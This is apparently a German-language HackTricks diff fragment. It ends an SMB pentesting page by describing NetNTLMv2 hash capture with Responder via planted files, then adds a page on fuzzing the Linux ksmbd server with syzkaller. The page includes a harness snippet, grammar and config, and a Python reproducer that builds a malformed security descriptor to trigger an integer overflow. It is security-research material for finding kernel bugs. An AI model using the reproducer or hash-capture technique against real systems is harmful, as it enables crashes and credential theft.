Ähnlich wie beim SMB Trapping kann das Ablegen bösartiger Dateien auf ein target system (z. B. via SMB) einen SMB authentication attempt auslösen, wodurch der NetNTLMv2-Hash mit einem Tool wie Responder abgefangen werden kann. Der Hash kann anschließend offline gecrackt oder in einem [SMB relay attack](#smb-relay-attack) verwendet werden.
[Siehe: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
## HackTricks Automatische Befehle
## HackTricks Automatic Commands
```
Protocol_Name: SMB #Protocol Abbreviation if there is one.
Port_Number: 137,138,139 #Comma separated if there is more than one.

View File

@ -0,0 +1,219 @@
# ksmbd Angriffsfläche & SMB2/SMB3 Protokoll Fuzzing (syzkaller)
{{#include ../../banners/hacktricks-training.md}}
## Übersicht
Diese Seite fasst praktische Techniken zusammen, um den Linux InKernel SMBServer (ksmbd) mit syzkaller auszuüben und zu fuzzing. Der Fokus liegt auf der Erweiterung der Protokoll-Angriffsfläche durch Konfiguration, dem Aufbau eines zustandsbehafteten Harness, das SMB2Operationen ketten kann, der Erzeugung grammatikgültiger PDUs, dem Biasing von Mutationen in schlecht abgedeckte Codepfade und der Nutzung von syzkallerFeatures wie focus_areas und ANYBLOB. Während die ursprüngliche Forschung spezifische CVEs aufzählt, betonen wir hier die wiederverwendbare Methodik und konkrete Snippets, die Sie an Ihre Setups anpassen können.
Zielbereich: SMB2/SMB3 über TCP. Kerberos und RDMA sind bewusst ausgeklammert, um das Harness einfach zu halten.
---
## Erweitern der ksmbdAngriffsfläche durch Konfiguration
Eine minimale ksmbdKonfiguration lässt standardmäßig große Teile des Servers ungetestet. Aktivieren Sie die folgenden Features, um den Server durch zusätzliche Parser/Handler zu treiben und tiefere Codepfade zu erreichen:
- Global-level
- Durable handles
- Server multi-channel
- SMB2 leases
- Per-share-level
- Oplocks (on by default)
- VFS objects
Das Aktivieren dieser Features erhöht die Ausführung in Modulen wie:
- smb2pdu.c (command parsing/dispatch)
- ndr.c (NDR encode/decode)
- oplock.c (oplock request/break)
- smbacl.c (ACL parsing/enforcement)
- vfs.c (VFS ops)
- vfs_cache.c (lookup cache)
Hinweise
- Exakte Optionen hängen von Ihrer Distrospezifischen ksmbd Userspace (ksmbd-tools) ab. Überprüfen Sie /etc/ksmbd/ksmbd.conf und die PerShareSektionen, um durable handles, leases, oplocks und VFS objects zu aktivieren.
- Multichannel und durable handles verändern StateMachines und Lifetimes und führen unter Concurrency oft zu UAF/refcount/OOB Fehlern.
---
## Authentifizierungs und RateLimitingAnpassungen für Fuzzing
SMB3 benötigt eine gültige Session. Die Implementierung von Kerberos im Harness erhöht die Komplexität, daher ist NTLM/guest für Fuzzing vorzuziehen:
- Allow guest access und setzen Sie map to guest = bad user, sodass unbekannte Benutzer auf GUEST zurückfallen.
- Accept NTLMv2 (patchen Sie die Policy, falls deaktiviert). Das hält den Handshake einfach und treibt gleichzeitig SMB3Codepfade.
- Patchen Sie strikte credit checks während des Experimentierens (postHardening für CVE-2024-50285 hat simultaneousop Crediting verschärft). Andernfalls können RateLimits fuzzed Sequenzen zu früh ablehnen.
- Erhöhen Sie max connections (z. B. auf 65536), um frühe Ablehnungen bei hohem Durchsatz zu vermeiden.
Vorsicht: Diese Lockerungen dienen ausschließlich dem Fuzzing. Setzen Sie diese Einstellungen nicht in Produktion ein.
---
## Stateful Harness: Ressourcen extrahieren und Requests ketten
SMB ist zustandsbehaftet: Viele Requests hängen von Identifiers ab, die in vorherigen Antworten zurückgegeben werden (SessionId, TreeID, FileID Paare). Ihr Harness muss Antworten parsen und IDs innerhalb desselben Programms wiederverwenden, um tiefe Handler zu erreichen (z. B. smb2_create → smb2_ioctl → smb2_close).
BeispielSnippet, um einen ResponseBuffer zu verarbeiten (wobei die +4B NetBIOS PDU length übersprungen werden) und IDs zu cachen:
```c
// process response. does not contain +4B PDU length
void process_buffer(int msg_no, const char *buffer, size_t received) {
uint16_t cmd_rsp = u16((const uint8_t *)(buffer + CMD_OFFSET));
switch (cmd_rsp) {
case SMB2_TREE_CONNECT:
if (received >= TREE_ID_OFFSET + sizeof(uint32_t))
tree_id = u32((const uint8_t *)(buffer + TREE_ID_OFFSET));
break;
case SMB2_SESS_SETUP:
// first session setup response carries session_id
if (msg_no == 0x01 && received >= SESSION_ID_OFFSET + sizeof(uint64_t))
session_id = u64((const uint8_t *)(buffer + SESSION_ID_OFFSET));
break;
case SMB2_CREATE:
if (received >= CREATE_VFID_OFFSET + sizeof(uint64_t)) {
persistent_file_id = u64((const uint8_t *)(buffer + CREATE_PFID_OFFSET));
volatile_file_id = u64((const uint8_t *)(buffer + CREATE_VFID_OFFSET));
}
break;
default:
break;
}
}
```
Tipps
- Behalte einen einzelnen fuzzer-Prozess, der Authentifizierung/Zustand teilt: bessere Stabilität und Coverage mit ksmbds global/session tables. syzkaller injiziert dennoch Concurrency, indem es ops als async markiert und intern neu ausführt.
- Syzkallers experimentelles reset_acc_state kann den globalen Zustand zurücksetzen, bringt aber möglicherweise starke Verlangsamung. Bevorzuge Stabilität und konzentriere dich stattdessen auf fuzzing.
---
## Grammatikgesteuerte SMB2-Generierung (gültige PDUs)
Übersetze die SMB2-Strukturen aus den Microsoft Open Specifications in eine fuzzer-Grammatik, damit dein Generator strukturell gültige PDUs erzeugt, die systematisch Dispatcher und IOCTL-Handler erreichen.
Example (SMB2 IOCTL request):
```
smb2_ioctl_req {
Header_Prefix SMB2Header_Prefix
Command const[0xb, int16]
Header_Suffix SMB2Header_Suffix
StructureSize const[57, int16]
Reserved const[0, int16]
CtlCode union_control_codes
PersistentFileId const[0x4, int64]
VolatileFileId const[0x0, int64]
InputOffset offsetof[Input, int32]
InputCount bytesize[Input, int32]
MaxInputResponse const[65536, int32]
OutputOffset offsetof[Output, int32]
OutputCount len[Output, int32]
MaxOutputResponse const[65536, int32]
Flags int32[0:1]
Reserved2 const[0, int32]
Input array[int8]
Output array[int8]
} [packed]
```
Dieser Stil erzwingt korrekte Strukturgrößen/Offsets und verbessert die Abdeckung gegenüber blindem Mutieren dramatisch.
---
## Gezieltes Fuzzing mit focus_areas
Verwenden Sie syzkallers experimentelle focus_areas, um bestimmte Funktionen/Dateien zu übergewichten, die derzeit eine schwache Abdeckung aufweisen. Beispiel-JSON:
```json
{
"focus_areas": [
{"filter": {"functions": ["smb_check_perm_dacl"]}, "weight": 20.0},
{"filter": {"files": ["^fs/smb/server/"]}, "weight": 2.0},
{"weight": 1.0}
]
}
```
Das hilft, gültige ACLs zu konstruieren, die die arithmetische/overflow-Pfade in smbacl.c auslösen. Zum Beispiel reproduziert ein bösartiger Security Descriptor mit einem übergroßen dacloffset einen integer-overflow.
Reproducer builder (minimal Python):
```python
def build_sd():
import struct
sd = bytearray(0x14)
sd[0x00] = 0x00; sd[0x01] = 0x00
struct.pack_into('<H', sd, 0x02, 0x0001)
struct.pack_into('<I', sd, 0x04, 0x78)
struct.pack_into('<I', sd, 0x08, 0x00)
struct.pack_into('<I', sd, 0x0C, 0x10000)
struct.pack_into('<I', sd, 0x10, 0xFFFFFFFF) # dacloffset
while len(sd) < 0x78:
sd += b'A'
sd += b"\x01\x01\x00\x00\x00\x00\x00\x00" # minimal DACL
sd += b"\xCC" * 64
return bytes(sd)
```
---
## Durchbrechen von Coverage-Plateaus mit ANYBLOB
syzkallers anyTypes (ANYBLOB/ANYRES) ermöglichen es, komplexe Strukturen in blobs zu bündeln, die sich generisch mutieren. Lege ein neues Corpus aus öffentlichen SMB pcaps an und konvertiere Payloads in syzkaller-Programme, die deinen Pseudo-Syscall aufrufen (z. B. syz_ksmbd_send_req):
```bash
# Extract SMB payloads to JSON
# tshark -r smb2_dac_sample.pcap -Y "smb || smb2" -T json -e tcp.payload > packets.json
```
```python
import json, os
os.makedirs("corpus", exist_ok=True)
with open("packets.json") as f:
data = json.load(f)
# adjust indexing to your tshark JSON structure
packets = [e["_source"]["layers"]["tcp.payload"] for e in data]
for i, pkt in enumerate(packets):
pdu = pkt[0]
pdu_size = len(pdu) // 2 # hex string length → bytes
with open(f"corpus/packet_{i:03d}.txt", "w") as f:
f.write(
f"syz_ksmbd_send_req(&(&(0x7f0000000340))=ANY=[@ANYBLOB=\"{pdu}\"], {hex(pdu_size)}, 0x0, 0x0)"
)
```
Das beschleunigt die Exploration und kann sofort UAFs auslösen (z. B. in ksmbd_sessions_deregister) und gleichzeitig die Abdeckung um einige Prozentpunkte erhöhen.
---
## Sanitizer: Über KASAN hinaus
- KASAN bleibt der primäre Detektor für Heap-Bugs (UAF/OOB).
- KCSAN liefert in diesem Ziel häufig Fehlalarme oder Daten-Races mit geringer Schwere.
- UBSAN/KUBSAN können deklarierte Grenzfehler erfassen, die KASAN aufgrund der Semantik von Array-Indizes übersieht. Beispiel:
```c
id = le32_to_cpu(psid->sub_auth[psid->num_subauth - 1]);
struct smb_sid {
__u8 revision; __u8 num_subauth; __u8 authority[NUM_AUTHS];
__le32 sub_auth[SID_MAX_SUB_AUTHORITIES]; /* sub_auth[num_subauth] */
} __attribute__((packed));
```
Das Setzen von num_subauth = 0 löst einen In-Struct-OOB-Lesezugriff auf sub_auth[-1] aus, der von UBSANs declared-bounds-Prüfungen erfasst wird.
---
## Hinweise zu Durchsatz und Parallelität
- Ein einzelner fuzzer-Prozess (shared auth/state) ist für ksmbd in der Regel deutlich stabiler und bringt dank syzkallers internem async executor weiterhin races/UAFs zutage.
- Mit mehreren VMs erreicht man insgesamt immer noch hunderte SMB-Befehle/Sekunde. Eine Funktionsabdeckung von ~60% für fs/smb/server und ~70% für smb2pdu.c ist erreichbar, wobei die Coverage von Zustandsübergängen durch solche Metriken unterrepräsentiert ist.
---
## Praktische Checkliste
- Aktiviere durable handles, leases, multi-channel, oplocks und VFS-Objekte in ksmbd.
- Erlaube guest und map-to-guest; akzeptiere NTLMv2. Entferne die credit limits und erhöhe die max connections für die Stabilität des fuzzers.
- Baue ein stateful harness, das SessionId/TreeID/FileIDs cached und create → ioctl → close verkettet.
- Verwende eine grammar für SMB2 PDUs, um strukturelle Gültigkeit zu gewährleisten.
- Nutze focus_areas, um schwach abgedeckte Funktionen zu übergewichten (z. B. smbacl.c-Pfade wie smb_check_perm_dacl).
- Seed mit ANYBLOB aus realen pcaps, um Plateaus zu durchbrechen; packe Seeds mit syz-db zur Wiederverwendung.
- Starte mit KASAN + UBSAN; triage UBSAN declared-bounds-Berichte sorgfältig.
---
## Referenzen
- Doyensec ksmbd Fuzzing (Part 2): https://blog.doyensec.com/2025/09/02/ksmbd-2.html
- syzkaller: https://github.com/google/syzkaller
- ANYBLOB/anyTypes (commit 9fe8aa4): https://github.com/google/syzkaller/commit/9fe8aa4
- Async executor change (commit fd8caa5): https://github.com/google/syzkaller/commit/fd8caa5
- syz-db: https://github.com/google/syzkaller/tree/master/tools/syz-db
- KASAN: https://docs.kernel.org/dev-tools/kasan.html
- UBSAN/KUBSAN: https://docs.kernel.org/dev-tools/ubsan.html
- KCSAN: https://docs.kernel.org/dev-tools/kcsan.html
- Microsoft Open Specifications (SMB): https://learn.microsoft.com/openspecs/
- Wireshark Sample Captures: https://wiki.wireshark.org/SampleCaptures
- Weiterführende Lektüre: pwning.tech “Tickling ksmbd: fuzzing SMB in the Linux kernel”; Dongliang Mus syzkaller notes
{{#include ../../banners/hacktricks-training.md}}